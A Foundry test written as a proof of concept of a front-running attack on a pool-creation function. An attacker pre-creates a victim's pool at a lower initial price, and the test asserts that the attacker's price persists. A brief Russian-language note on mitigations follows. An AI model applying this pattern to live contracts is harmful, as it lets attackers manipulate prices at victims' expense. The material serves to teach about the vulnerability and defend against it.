function testFrontRunning() public {
uint256 intendedPrice = 100;
uint256 attackPrice = 50;
// 1. Victim intends to create a pool with initialPrice = intendedPrice
vm.startPrank(victim);
// exploitableContract.getOrCreatePool(victim, intendedPrice); //Simulate that the victim is about to call this.
// 2. Attacker observes this transaction and front-runs it with attackPrice
vm.stopPrank();
vm.startPrank(attacker);
exploitableContract.getOrCreatePool(victim, attackPrice);
vm.stopPrank();
// 3. Victim's transaction now executes
vm.startPrank(victim);
exploitableContract.getOrCreatePool(victim, intendedPrice); // This call should not change the price because the pool already exists
// 4. Assert that the pool's initialPrice is now the attacker's price, NOT the victim's intended price
assertEq(exploitableContract.viewPoolInitialPrice(victim), attackPrice, "The pool's initial price should be the attacker's price.");
vm.stopPrank();
}Как избежать этой уязвимости?
1. Разделите создание актива и взаимодействие с ним на две отдельные транзакции.
2. Прроверьте параметры целевого ресурса и вернитесь назад, если они неверны.
#frontrun